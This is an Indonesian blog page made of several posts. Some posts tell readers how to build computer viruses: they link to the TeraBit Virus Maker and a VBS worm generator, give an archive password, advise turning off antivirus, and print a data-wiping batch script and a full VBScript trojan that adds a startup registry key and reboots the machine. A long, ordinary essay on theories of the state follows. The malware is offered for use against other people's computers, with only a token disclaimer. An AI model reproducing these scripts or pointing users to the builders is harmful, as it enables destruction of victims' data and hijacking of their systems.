Selasa, 15 April 2014

TeraBit Virus Maker : Hmmm Ini dia Soft yg bisa bikin Virus !!


Pada artikel sebelumnya kami telah membahas cara membuat 1.000.000 Virus Shorcut dan kami juga pernah posting Aplikasi Ultimate Virus. Lalu sekarang, Bagaimana perasaan anda apabila komputer maupun laptop anda terserang virus? apakah anda tahu orang yang telah membuat virus sehingga membuat anda jengkel ?, pastinya anda tidak akan menemukan orang tersebut karena anda bukanlah seorang detective yang pandai untuk mengungkap sebuah tabir rahasia hehehehe ^_^. Pada artikel kali ini kami akan berbagi bagaimanakah caranya membuat virus ^_^ , perhatikan langkah-langkah dibawah ini :


  • Pertama anda harus mendownload software untuk membuat virus (Terabit Virus Maker), linkx ada dibawah artikel ini.
  • Extract software tersebut, kemudian jalankan softwarenya.
  • Anda dapat memilih efek dari virus yang akan anda buat, anda dapat memberi nama virusnya, membuat iconnya, serta memberikan pesan error kepada sang korban yang telah terkena virus anda. Untuk lebih jelasnya perhatikan gambar berikut ini !

  • Apabila anda sudah selesai, silahkan anda tekan Create Virus, selesai dah …!! hehehe. Anda tinggal menjalankannya saja …. !!
Buat agan2 yang takut coba di laptop ndiri gx perlu kawatir Caranya cukup mudah
1. Smadav : sebelum pakai kan di disable dulu, trus diaktivin aja lagi klu dah siap menggunakan soft ini  Oke,, Yang pasti Ini AMAAAN TOTAL,, Cuma orang" yg bodo kompi ja yg bakal takut :P

Artikel diatas hanyalah sebatas berbagi ilmu Gan, jangan disalah-gunakan untuk kepentingan-kepentingan yang tidak berguna bahkan bisa merugikan orang lain dan diri anda sendiri, Oke...Tetap Semangat!!!

Download Free Disini : TeraBit Virus Maker V 3.0 : Indowebster 
                                          TeraBit Virus Maker V 3.0 : 4shared
Password File : padangcommunity

Mempercepat Jaringan Internet | Cisco Speed Meter PRO 1.3.9052


malam sobat padcom Naizer semua, apa kabarnya ?? semoga baik" aja ya ;D..
Oke Pada malam yg Cukup dingin ini saya akan mencoba menghangatkan Suasana dengan Postingan yg berjudul : Mempercepat Jaringan Internet | Cisco Speed Meter PRO 1.3.9052,,,

ada yg tau Software apa ini ??
Cisco Speed Meter Pro 1.3.9052 adalah software yg dirancang untuk mengoptimalkan browsing anda ;D..
Proses yang di lakukan oleh Cisco Speed Meter Pro 1.3.9052 antara lain :



  • scan diseluruh bagian computer
  • Mengidentifikasi Sumber jaringan
  • Mengatasi masalah koneksi dengan cepat
  • memaksimumkan Kecepatan Internet
  • etc
ScreenShot :


bagaimana ?? tertarik mencoba ?? sekali lagi software ini dapat membantu agan" yg memiliki hobby download besar" dan Nonton Youtube pastinya ;D hahahaha

Oke untuk Link Download :
RepidShare : Download ( witriadasni )

Cara Membuat Virus Mematikan 100% | ( SOFTWARE AND NO SOFTWARE )





Virus,, hmm kalau dah denger kata" ini mungkin kepikiran bagaimana Cara menghilngkannya dengan antivirus bukan ?? Antivirus memang Sangat Berperan dalam Melindungi PC Sobat Padang Community seklian,, namun kali ini padang community akan memberikan Tutorial Jahil, bagaimana Cara Membuat Virus Mematikan,, hahahaha 


Oke mau tau cara membuatnya ?? mau gag ?? kalau mau silahkan Ikuti Tutorial Dibawah ini, gampang" koq, Tanpa Sulit 1% pun,,,,
Judul postnya : Cara Membuat Virus Mematikan 100% | ( SOFTWARE AND NO SOFTWARE )



1. ( TUTORIAL PERTAMA )
Virus yang akan kita buat kali ini adalah virus yang bisa dikatakan jauh lebih mematikan dari pada virus - virus lainnya. Mungkin cara ini cukup ekstrem untuk dipraktikan. Jadi, jangan sampai artikel ini disalah gunakan.

Langsung saja, buka notepad dan ketikkan script berikut ini :

@echo off
DEL C: -Y
DEL D: -Y 


Kemudian simpan, lalu ubah [Save as type] menjadi [All Files], dan pada kotak [File Name] beri nama virus ini dengan kata apa saja terserah Anda dan diakhiri dengan kata .bat, misal virus.bat , kemudian klik save.

Setelah file ini disimpan, JANGAN DIKLIK!!!

Virus ini adalah virus yang sangat mematikan, bila anda mengklik virus ini, maka seluruh data yang ada di hardisk anda akan hilang tanpa terkecuali. Sehingga, hal ini dapat menyebabkan komputer Anda akan mati total. Untuk sampel virusnya bisa langsung download disini jika tidak ingin memakai cara copy paste diatas. 



2. ( TUTORIAL KEDUA )
Tutorial kedua ini adalah Cara membuat Virus yang Mematikan, namanya WORM,, mungkin sobat dah pada tau kan apa itu virus worm ?? yap, Worm adalah Virus yang menyebabkan Infeksi pada PC,,,,


oke daripada akhirnya ceramah langsung aja : 

  • buka aplikasi VBS Worm Generator 
  • Buat Yang Belum ada Download Di Link Berikut ini : VBS Worm Generator
  • Isi Form name dengan Nama Virus anda
  • Dan Pada Form Backup tempat backup Virus anda..
3. ( TUTORIAL KETIGA )
Oke Dicara Ketiga ini, padang community Memberi Tutorial Membuat Virus Trijan Dengan Notepad,, oke langsung aja Di Sambar Tutorialnya,
  • Buka Notepad Agan" masing",,,
  • Setelah Dibuka, Copy Kode berikut,,
rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
  • Setelah Dicopy, Save as dengan ektensi .VBS, Contoh : Virus.vbs
NB : jika agan tidak mau mengaktivkan di laptop agan, save as saja dengan ektensi  .txt ;)

Oke Sekian dulu Post : Cara Membuat Virus Mematikan 100% | ( SOFTWARE AND NO SOFTWARE ) atas Kunjungannya Terima kasih, Silahkan Tinggalkan Komentar yakh ;)

SERBU PC LAWAN ^_^

Senin, 14 April 2014

TEORI NEGARA

TEORI NEGARA

I.   Latar Belakang

Adanya pemikiran tentang negara tidak bersamaan dengan adanya negara, artinya negara telah dulu ada, baru adanya pemikiran tentang negara. Misalnya sekitar abad ke XVIII Sebelum Masehi (SM) telah ada negara-negara seperti Babylonia, Mesir dan Assyria. Namun sistem pemerintahannya pada saat itu sangat absolut. Sedangkan adanya pemikiran tentang negara bermula pada abad ke V SM, hal ini terjadi pada bangsa Yunani kuno, jadi bangsa Yunani kuno yang pertama-tama memulai mengadakan pemikiran tentang negara.
Seperti tersebut diatas bahwa adanya negara lebih tua dari adanya pemikiran tentang negara. Keadaan demikian dapat dijelaskan bahwa pada zaman kuno para raja yang memerintah dengan sangat sewenang-wenang karena kekuasaannya absolut, sehingga orang tidak sempat mempersoalkan tentang negara, seperti orang tidak sempat mempersoalkan mengapa seseorang berkuasa, mengapa orang lainnya tunduk dengan kekuasaan tersebut dan apa yang menjadi dasar kekusaaan penguasa itu. Pada dasarnya ketidak sempatan orang-orang pada zaman itu untuk memikirkan tentang negara adalah karena tidak adanya kebebasan,  orang  tidak  mempunyai  kebebasan  untuk  mengeluarkan pikiran dan pendapatnya secara bebas.
Oleh karena para penguasa pada zaman itu kekuasaannya bersifat absolut menguasai segala segi kehidupan negara, tentu sangat berbahaya bagi kewibawaan dan kedudukan kekuasaanya apabila memberi kebebasan mengemukakan pikiran dan pendapat pada semua orang. Maka tidak mengherankan kalau penguasa itu kemudian menekan dan melarang adanya pemikiran-pemikiran tentang negara.
Dari uraian diatas maka menurut Soehino (2005) bahwa :
Oleh karena ilmu kenegaraan itu menyangkut soal wewenang daripada penguasa, dasar wewenang daripada penguasa, maka ilmu kenegaraan atau pemikiran tentang negara dan hukum itu, baru dapat timbul dan berkembang bila susunan kenegaraannya, kemasyarakatannya, sudah mengizinkan akan adanya kebebasan berpikir dan mengeluarkan pendapat.

Keadaan seperti yang diungkapkan oleh Soehino diatas bermula terjadi pada bangsa Yunani kuno pada abad ke V SM, hal ini terjadi karena dipengaruhi oleh beberapa faktor, antara lain menurut Schmid (dalam Soehino, 2005) sebagai berikut :
1.     Adanya sifat-agama yang tidak mengenal ajaran Tuhan yang ditetapkan sebagai kaidah (kanon).
2.     Keadaan geografi negara tersebut yang menjuruskan kepada perdagangan dan perantauan sehingga bangsa Yunani sempat bertemu dan bertukar pikiran dengan bangsa-bangsa lain.
3.     Bentuk negaranya, yaitu Republik-Demokrasi, sehingga rakyat memerintah sedikit dengan tanggung-jawab sendiri.
4.     Kesadaran bangsa Yunani sebagai satu kesatuan.
5.     Semua itu (nomor 1 sampai dengan 4) menjadikan orang-orang bangsa Yunani sebagai orang-orang ahli pikir dan bernegara.

II.  Pembahasan

A. Pencetus Teori Negara

Para pemikir atau pencetus teori-teori tentang negara bermula sejak zaman Yunani kuno antara lain ialah Socrates, Plato, Aristoteles, Epicurus dan Zeno. Selanjutnya setelah negara Yunani ditaklukkan oleh Romawi pada tahun 146 SM dan kemudian dimasukkan dalam kerajaan Romawi maka pada masa itu, juga muncul para pemikir tentang teori negara, mereka ialah Polybius, Cicero dan Seneca. Namun pada umumnya teori-teori negara pada pada zaman Romawi tidak menunjukkan buah pikiran yang asli, karena mereka dalam banyak hal hanya melanjutkan saja ajaran-ajaran dari para pemikir-pemikir Yunani.
Kemudian setelah jatuhnya peradaban bangsa Romawi, maka sejarah pemikiran tentang negara memasuki zaman baru, yaitu zaman abad pertengahan. Pada zaman ini pemikir teori tentang negara yaitu pada zaman abad pertengahan bagian I sebelum perang salib dari abad ke V sampai abad ke XII adalah Agustinus dan Thomas Aquinas. Sedangkan pada abad pertengahan bagian II sesudah perang salib dari abad ke XII sampai abad ke XV pemikir teori tentang negara ialah Marsilius.
Pada akhir zaman pertengahan sesudah perang salib muncul zaman Renaissance abad ke XVI para tokoh pemikir tentang negara pada zaman ini ialah Niccolo Machiavelli, Thomas Morus, dan Jean Bodin. Selanjutnya pada zaman kaum Monarkomaken tokoh yang paling banyak menguraikan tentang negara adalah Johannes Althusius.
Pemikiran tentang negara pada abad ke XVII dan XVIII ialah pada zaman hukum alam, zaman ini mengalami perkembangan pada dua abad yaitu pada abad ke XVII danXVIII yang masing-masing pada abad XVII tokohnya ialah Grotius, Thomas Hobbes, Benedictus de Spinoza dan John Locke. Sedangkan pada abad ke XVIII tokohnya ialah Frederik Yang Agung, Montesquieu, Jen Jacques Rousseau dan Immanuel Kant.
Disamping zaman hukum alam yang menganggap bahwa negara itu ada karena perjanjian masyarakat, maka ada satu teori tentang negara yang menolak keadaan pada zaman hukum alam tersebut yaitu zaman teori kekuatan (kekuasaan) yang menganggap bahwa dalam keadaan alamiah pun sudah selalu hidup berkelompok, diantara para tokohnya ialah F. Oppenheimer, Karl Marx, H.J. Laski dan Leon Duguit. Selanjutnya reaksi terhadap teori-teori seperti disebut diatas maka muncul pemikiran tentang negara melalui teori positivisme. Menurut teori ini negara identik dengan hukum karena hukum positif mudah dipelajari daripada orang hanya berpikir secara abstrak dan tidak ada ketentuannya, adapun tokohnya adalah Hans Kelsen.
Sementara itu pandangan dari aliran modern tentang negara menyatakan bahwa untuk menyelidiki atau mempelajari negara maka sebaiknya negara itu dianggap sebagai suatu fakta atau suatu kenyataan yang terikat pada keadaan, tempat, dan waktu. Adapun tokoh dari aliran modern ini antara lain adalah R. Kranenburg dan Logemann.

B.  Substansi Teori Negara

Georg Jellinek (dalam Busroh, 1990) melihat ilmu negara itu dari dua sisi tinjauan(Zweiseiten theorie) yakni :
I. Sisi tinjauan sosiologis terdiri dari
    1. Teori sifat hakekat negara
    2. Teori pembenaran hukum negara
    3. Teori terjadinya negara
    4. Teori tujuan negara
    5. Teori type-type negara
II. Sisi tinjauan yuridis terdiri dari
    1. Teori bentuk negara dan bentuk pemerintahan
    2. Teori kedaulatan
    3. Teori unsur-unsur negara
    4. Teori fungsi negara
    5. Teori konstitusi
    6. Teori lembaga perwakilan
    7. Teori sendi-sendi pemerintahan
    8. Teori alat-alat perlengkapan negara
    9. Teori kerja sama antar negara

1.   Teori sifat hakekat negara
Secara historis zaman Yunani negara itu adalah Polis. Pada zaman itu orang-orang mengingikan kehidupan aman, tenteram, dan lepas dari gangguan, oleh karena itu orang-orang yang menginginkan ketenteraman menuju bukit dan membangun benteng, serta mereka berkumpul menjadi kelompok. Kelompok inilah yang oleh Socrates dinamakan Polis.  
Pada abad pertengahan, negara itu dipandang sebagai suatu organisasi masyarakat yang bernama civitas terena (keduniawian). Sedangkan pada permulaan abad modern berpandangan bahwa negara itu adalah milik suatu dinasti / imperium (Kansil dan Christine S.T. Kansil, 2007).
Jadi, pandangan tentang negara banyak diungkapkan oleh para ahlinya antara lain pada zaman Yunani kuno seperti pandangan Socrates sebagaimana diuraikan diatas. Sementara itu  Plato menyatakan bahwa hakekat negara ialah luas negara itu harus diukur atau disesuaikan dengan dapat atau tidaknya, mampu atau tidaknya negara memelihara kesatuan di dalam negara itu. Oleh sebab itu negara tidak boleh mempunyai luas daerah yang tidak tertentu. Selain itu, Aristoteles berpendapat bahwa susunan dan hakekat negara atau masyarakat adalah bahwa negara itu merupakan suatu kesatuan, suatu organisme yaitu suatu keutuhan yang mempunyai dasar-dasar hidup sendiri, dengan demikian negara itu selalu mengalami timbul, berkembang, pasang, surut dan kadang-kadang mati. Kemudian Epicurus mengungkapkan bahwa pada hakekatnya negara adalah merupakan alat bagi individu (manusia) untuk memenuhi kebutuhan-kebutuhannya.
Selanjutnya para ahli yang mengungkapkan tentang hakekat negara pada aliran modern antara lain adalah R. Kranenburg yang berpendapat bahwa negara itu pada hakekatnya adalah suatu organisasi kekuasaan yang diciptakan oleh sekelompok manusia yang disebut bangsa. Jadi menurut R. Kranenburg bangsa yang seharusnya ada terlebih dahulu baru kemudian menyusul adanya negara. Oleh karena itu R. Kranenburg menegaskan bahwa bangsa yang menjadi dasar adanya negara.
Berbeda dengan R. Kranenburg, Logemann mengatakan bahwa negara pada hakekatnya adalah suatu organisasi kekuasaan yang meliputi atau menyatukan kelompok manusia yang kemudian disebut bangsa. Jadi perbedaannya adalah kalau menurut R. Kranenburg bangsa itu menciptakan organisasi, sedangkan menurut Logemann organisasi itu menciptakan bangsa.
Menurut Kansil dan Christine S.T. Kansil (2007) berpandangan bahwa negara itu sifat hakekatnya adalah suatu ikatan tertentu atau status tertentu (staat = state). Yaitu status bernegara sebagai lawan daripada status belum bernegara (status naturalis lawan status civilis atau status berhukum rimba dan status dimana hak-hak sivil atau hak asas warga negara terjamin).

2.   Teori pembenaran hukum negara
Untuk membenarkan adanya suatu organisasi negara, maka ada empat macam teori yang menjelaskan hal tersebut antara lain teori pembenaran negara dari sudut Ketuhanan, teori pembenaran negara dari sudut kekuatan, teori pembenaran negara dari sudut hukum, dan teori pembenaran negara dari sudut lain-lainnya.

a. Teori pembenaran negara dari sudut Ketuhanan
Teori pembenaran negara dari sudut Ketuhanan beranggapan bahwa tindakan penguasa/negara itu selalu benar sebab didasarkan negara itu diciptakan oleh Tuhan. Sebagaimana diungkapkan oleh Friedrich Julius Stahl bahwa negara itu timbul dari takdir Illahi (dalam Busroh, 1990). Dan bagaimanapun juga semua kekuasaan itu pada hakekatnya adalah terjadi karena kehendak dan kekuasaan Tuhan.

b. Teori pembenaran negara dari sudut kekuatan
Dalam teori ini siapa yang berkemampuan memiliki kekuatan maka mereka akan mendapatkan kekuasaan dan memegang tampuk pemerintahan. Kekuatan itu meliputi kekuatan jasmani/fisik, kekuatan rohani (psychis), atau kekuatan materi (kebendaan), maupun kekuatan politik. Menurut Duguit, yang dapat memaksakan kehendaknya kepada pihak lain ialah mereka yang paling kuat, kekuatan mana didalamnya karena beberapa faktor, misalnya keistimewaan fisik, intelegensia, ekonomi, dan agama (dalam Busroh, 1990).
Senada dengan pendapat Duguit diatas, Von Jhering, Laband dan Jellinek pendapat mereka mengemukakan bahwa harus diterima kenyataan yang wajar, bahwa kekuasaan dan kedaulatan adalah sepenuhnya di tangan negara dan pemerintahan (dalam Busroh, 1990). Kemudian Franz Oppenheimer (dalam Busroh, 1990) menyatakan negara adalah suatu susunan masyarakat yang oleh golongan yang menang dipaksakan kepada golongan yang ditaklukkan, dengan maksud untuk mengatur kekuasaan golongan yang satu atas golongan yang lain dan melindungi terhadap ancaman pihak lain.

c. Teori pembenaran negara dari sudut hukum
Dalam teori ini tindakan pemerintah itu dibenarkan karena didasarkan kepada hukum. Teori ini merinci lagi tentang hukum itu, yaitu hukum keluarga (patrialchal), hukum kebendaan (patrimonial) dan hukum perjanjian. Teori patriarchal berdasarkan hukum keluarga, pada waktu negara belum ada masyarakat hidup dalam kesatuan-kesatuan keluarga besar yang dipimpin oleh kepala keluarga. Penaklukan yang dilakukan oleh kepala keluarga terhadap keluarga lainnya menyebabkan kepala keluarga tersebut menjadi raja yang berkuasa (Busroh, 1990).
Kemudian hadir hukum patrimonial, patrimonial berasal dari istilah patrimoniumyang berarti hak milik. Jadi raja mempunyai hak milik terhadap daerahnya dan semua penduduk harus tunduk kepadanya. Dalam keadaan perang para bangsawan memberi bantuan kepada raja, kemudian setelah memenangi peperangan sebagai tanda jasa, raja memberi hadiah kepada para bangsawan berupa sebidang tanah. Atas dasar pemberian tanah kepada para bangsawan ini, maka berpindah hak atas tanah tersebut kepada para bangasawan, sehingga para bangsawan mendapat hak untuk memerintah (overheidsrechten) terhadap semua yang ada diatas tanah itu (Busroh, 1990).
Selanjutnya teori perjanjian dikemukakan oleh tiga tokoh yang terkemuka antara lain Thomas Hobbes, John Locke dan Rousseau. Menurut Thomas Hobbes manusia selalu hidup dalam kekuatan karena takut akan diserang oleh manusia lainnya yang lebih kuat keadaan jasmaninya. Karena itu lalu diadakan perjanjian masyarakat dan dalam perjanjian raja tidak diikut sertakan. Busroh (1990) menjelaskan bahwa oleh karena raja berada diluar perjanjian, dan oleh karenanya raja mempunyai kekuasaan yang mutlak setelah hak-hak rakyat diserahkan kepadanya (Monarchie Absoluut).
Kemudian Jhon Locke beranggapan bahwa antara raja dengan rakyat diadakan perjanjian dan karena perjanjian itu raja berkuasa untuk melindungi hak-hak rakyat. Akibat dari perjanjian antara rakyat dengan raja maka timbul monarchie constitusionil atau monarki terbatas, karena kekuasaan raja sekarang menjadi terbatas oleh konstitusi. Selain itu, menurut Rousseau adalah yang merupakan hal pokok daripada perjanjian masyarakat ini adalah menemukan suatu bentuk kesatuan, membela dan melindungi kekuasaan bersama disamping kekuasaan pribadi dan milik dari setiap orang, sehingga semuanya dapat bersatu, akan tetapi masing-masing orang tetap mematuhi dirinya, sehingga orang tetap merdeka dan bebas seperti sedia kala. Akibat dari ajaran Rousseau ini adalah kedaulatan rakyat dan kekuasaan rakyat tidak pernah diserahkan pada raja, bahkan kalau ada raja yang memerintah maka raja itu hanya sebagian mandataris daripada rakyat (Busroh, 1990).
d. Teori Pembenaran Negara dari Sudut Lain-lain
Teori etika menurut Plato bahwa manusia tidak akan ada arti bila manusia itu belum bernegara. Negara merupakan hal yang mutlak, tanpa negara maka tidak ada manusia, dengan demikian segala tindakan negara dibenarkan. Menurut teori absolut dari Hegel mengungkapkan manusia itu tujuannya untuk kembali pada cita-cita yang absolut dan penjelmaan daripada cita-cita yang absolut dari manusia itu adalah negara. Tindakan dari negara itu dibenarkan karena negara yang dicita-citakan oleh manusia-manusia itu tadi. Dari teori psychologis mengatakan bahwa alasan pembenaran negara itu adalah berdasarkan pada unsur psychologis manusia, misalnya dikarenakan rasa takut, rasa kasih sayang dan lain-lainnya, dengan demikian tindakan negara tadi dibenarkan.

3.   Teori terjadinya negara
Mengenai teori terjadinya negara ada dua macam sisi pembahasan, antara lain :

a. Terjadinya negara secara primer (primaire staats wording)
Terjadinya negara secara primer adalah teori yang membahas tentang terjadinya negara yang tidak dihubungkan dengan negara yang telah ada sebelumnya. Menurut teori ini ada empat phase perkembangan negara, yaitu phase genootshap (genossenschaft), phasereich (rijk), phase staat, phase democratische natie dan dictatuur (dictatum). Pada phasegenootshap (genossenschaft) merupakan perkelompokan dari orang-orang yang menggabungkan dirinya untuk kepentingan bersama, dan disandarkan pada persamaan. Mereka menyadari bahwa mereka mempunyai kepentingan yang sama dan kepemimpinan dipilih dari yang terkemuka diantara yang sama. Jadi yang terpenting pada masa ini adalah unsur negara.
Phase reich (rijk) merupakan kelompok orang-orang yang menggabungkan diri dari pada phase genootshap (genossenschaft) tadi telah sadar akan hak milik atas tanah hingga muncullah tuan yang berkuasa atas tanah. Jadi yang terpenting pada masa ini adalah unsur wilayah. Kemudian pada phase staat, masyarakat telah sadar dari tidak bernegara menjadi bernegara dan mereka telah sadar bahwa mereka berada pada satu kelompok. Jadi yang penting pada masa ini adalah ketiga unsur dari negara yaitu bangsa, wilayah dan pemerintahan yang berdaulat sudah terpenuhi.
Selanjutnya phase democratische natie, merupakan perkembangan daripada phasestaat, dimana democratische natie ini terbentuk atas dasar kesadaran demokrasi nasional, kesadaran akan adanya kedaulatan ditangan rakyat. Mengenai phase dictatuur timbul dua pendapat, yaitu bentuk dictatuur merupakan perkembangan daripada democratische natie. Selain itu pendapat lain menyatakan bahwa bentuk dictatuur bukan merupakan perkembangan daripada democratische natie tetapi merupakan variasi atau penyelewengan daripada democratische natie.
b. Terjadinya negara secara sekunder (scundaire staats wording)
Terjadinya negara secara sekunder adalah teori yang membahas tentang terjadinya negara yang dihubungkan dengan negara-negara yang telah ada sebelumnya. Jadi terjadinya negara secara sekunder ini adalah masalah pengakuan atau erkening. Mengenai masalah pengakuan atau  erkening ini ada tiga macam pemabahasan (Busroh, 1990) antara lain : pengakuan de facto (sementara), pengakuan de jure (yuridis), dan pengakuan atas pemerintahan de facto.
Pengakuan de facto adalah pengakuan yang bersifat sementara karena kenyataanya negara baru itu memang ada namun prosedur terjadinya belum melalui hukum, maka akibatnya pengakuan yang diberikan adalah bersifat sementara. Namun apabila prosedur terjadinya negara baru itu sudah melalui prosedur hukum, maka pengakuannya dapat ditingkatkan menjadi pengakuan de jure. Selanjutnya pengakuan de jure adalah pengakuan yang seluas – luasnya dan bersifat tetap terhadap terbentuknya suatu negara karena terbentuknya berdasarkan hukum.
Selain pengakuan terjadinya negara seperti diuaraikan diatas, ada bentuk pengakuan hanya terhadap pemerintahan de facto, hal ini terjadi pada saat proklamasi kemerdekaan Republik Indonesia yang diciptakan oleh Van Haller seorang sarjana Belanda. Pengakuan terhadap pemerintahan de facto adalah pengakuan hanya terhadap pemerintahan suatu negara sedangkan terhadap wilayahnya tidak diakui. Sebagai mana unsur – unsur adanya negara adalah harus ada pemerintahan, wilayah dan rakyat. Jadi, kalau pengakuan hanya terhadap pemerintahannya saja maka bukanlah merupakan negara karena tidak cukup unsur-unsurnya.

4.   Teori tujuan negara
Mengenai masalah tujuan negara tidak ada seorang sarjana ahli pemikir tentang negara yang dapat merumuskan dengan tepat dalam satu rumusan yang meliputi semua unsur, mereka hanya dapat merumuskan yang sifatnya samar-samar dan umum (Soehino, 2005). Sebagaimana yang dinyatakan oleh Agustinus (dalam Busroh, 1990) yaitu tujuan negara adalah dihubungkan dengan cita-cita manusia hidup di alam kekal yaitu sesuai yang diinginkan Tuhan. Selanjutnya masih (dalam Busroh, 1990) Shang Yang menghubungkan tujuan negara dengan mencari kekuasaan semata, sehingga negara itu identik dengan penguasa.
Seperti yang diungkapkan oleh para ahli diatas, tujuan negara itu hanya dapat  dirumuskan secara samar-samar dan umum. Oleh karena tujuan negara itu dalam banyak hal tergantung pada tempat, keadaan, waktu, serta sifat daripada kekuasaan penguasa. Maka dari itu menurut Soehino (2005) kalau akan merumuskan secara samar-samar dan umum, dan mungkin dapat meliputi semua unsur daripada tujuan negara ialah bahwa tujuan negara itu adalah menyelenggarakan kesejahteraan dan kebahagiaan rakyatnya, atau menyelenggarakan masyarakat adil dan makmur.
5.   Teori tipe-tipe negara
Penggolongan negara dengan didasarkan pada ciri-ciri yang khas merupakan maksud pembahasan dari teori tipe-tipe negara. Adapun tipe-tipe negara dapat dilihat dari tipe negara menurut sejarah, dan tipe negara yang ditinjau dari sisi hukum.

a. Tipe negara menurut sejarah
Tipe-tipe negara menurut sejarah antara lain, tipe negara Timur Purba, tipe negara Yunani Kuno, tipe negara Romawi, tipe negara abad pertengahan, dan tipe negara modern. Menurut Busroh (1990) tipe negara Timur Purba adalah tirani, raja-raja berkuasa mutlak, dengan ciri-ciri :
(1). Bersifat theocraties (keagamaan)
        Raja merangkap dianggap dewa oleh warganya.
(2).  Pemerintahan bersifat absolut (mutlak).
Selanjutnya menurut Kansil dan Christine S.T. Kansil (2007) tipe negara Yunani Kuno dan Romawi Kuno masing-masing adalah tipe negara Yunani Kuno yang ciri utamanya ialah negara kota dan demokrasi langsung. Sedangkan tipe negara Romawi Kuno pada mulanya berciri primus inter pares (yang terkemuka diantara yang sama) kemudian berubah menjadi raja-raja absolut (caesar), ciri-ciri lain ialah tradisi kodifikasi hukum.
Kemudian menurut (Busroh, 1990) ciri khas tipe negara abad pertengahan adalah adanya dualisme (pertentangan) antara lain :
(1). Dualisme antara penguasa dengan rakyat.
(2).  Dualisme antara pemilik dan penyewa tanah sehingga muculnya feodalisme.
(3).  Dualisme antara negarawan dan gerejawan (secularisme).
Adapun tipe negara modern menurut Kansil dan Christine S.T. Kansil (2007) ciri utamanya ialah :
(1). Kekuasaan tertingi bersumber dari rakyat (kedaulatan rakyat) yang dengan sendirinya timbul pemerintahan (oleh) rakyat.
(2).  Demokrasi dan menggunakan sistem dan lembaga.
(3).  Perwakilan.

b. Tipe negara ditinjau dari sisi hukum
Tipe negara yang ditinjau dari sisi hukum dapat dilihat dari tiga tipe yaitu tipe negara policie (polizie staat), tipe negara hukum (rechts staat), dan tipe negara kemakmuran (wohlfaart staats). Pertama, tipe negara policie, negara bertugas menjaga tata tertib saja atau dengan kata lain negara jaga malam, pemerintahan bersifat monarki absolut. Kedua, pada tipe negara hukum ada tiga tipe negara yakni tipe negara hukum liberal, tipe negara hukum formil, dan tipe negara hukum materil.
Tipe negara hukum liberal menghendaki agar negara berstatus pasif artinya bahwa warga negara harus tunduk pada peraturan-peraturan negara. Kaum liberal menghendaki agar antara penguasa dan yang dikuasai ada suatu persetujuan dalam bentuk hukum. Pada tipe negara hukum formil menurut Stahl (dalam Busroh, 1990) harus memenuhi empat unsur, antara lain :
(1).  Bahwa harus adanya jaminan terhadap hak-hak asasi.
(2).  Adanya pemisahan kekuasaan.
(3).  Pemerintahan didasarkan pada undang-undang.
(4).  Harus ada peradilan administrasi.
Perkembangan dari negara hukum formil adalah negara hukum materil. Kalau pada negara hukum formil tindakan dari penguasa harus berdasarkan undang-undang, maka pada negara hukum materil tindakan dari penguasa dalam hal mendesak demi kepentingan warga negaranya dibenarkan bertindak menyimpang dari undang-undang atau berlaku asas opportunitas.
Ketiga, tipe negara kemakmuran, pada tipe ini negara mengabdi sepenuhnya kepada masyarakat. Jadi, menurut Wahjono menyatakan bahwa tipe negara kemakmuran ini tugas daripada negara adalah semata-mata meyelenggarakan kemakmuran rakyat yang semaksimal mungkin (dalam Busroh, 1990).

6.   Teori bentuk negara dan bentuk pemerintahan
Dalam teori bentuk negara dan bentuk pemerintahan juga sekaligus para ahli membicarakan tentang susunan negara. Mengenai teori bentuk negara, menurut Plato ada lima macam bentuk negara yakni Aristokrasi, Timokrasi, Oligarki, Demokrasi, dan Tyranni. Sedangkan Niccolo Machiavelli menyatakan bentuk negara bila tidak Republik, maka lainnya Monarchie. Sementara itu, Jellinek membedakan bentuk negara Republik dan Monarchie berdasarkan pembentukan kemauan negara. Bila pembentukan kemauan negara oleh seorang saja maka terjadilah monarchie, sedangkan bila kemauan negara itu ditentukan oleh dewan (lebih dari seorang) maka terjadilah Republik (dalam Busroh, 1990).
Adapun bentuk pemerintahan atau sistem pemerintahan ada tiga macam. Pertama, bentuk pemerintahan dimana adanya hubungan yang erat antara eksekutif dengan parlemen. Dalam sistem ini rakyat tidak langsung memilih eksekutif (perdana menteri) tetapi hanya memilih anggota parlemen. Dengan terpilihnya parlemen, maka parlemen membentuk eksekutif (perdana menteri) dari partai/organisasi yang mayoritas di parlemen. Bentuk pemerintahan seperti ini disebut sistem pemerintahan parlementer.
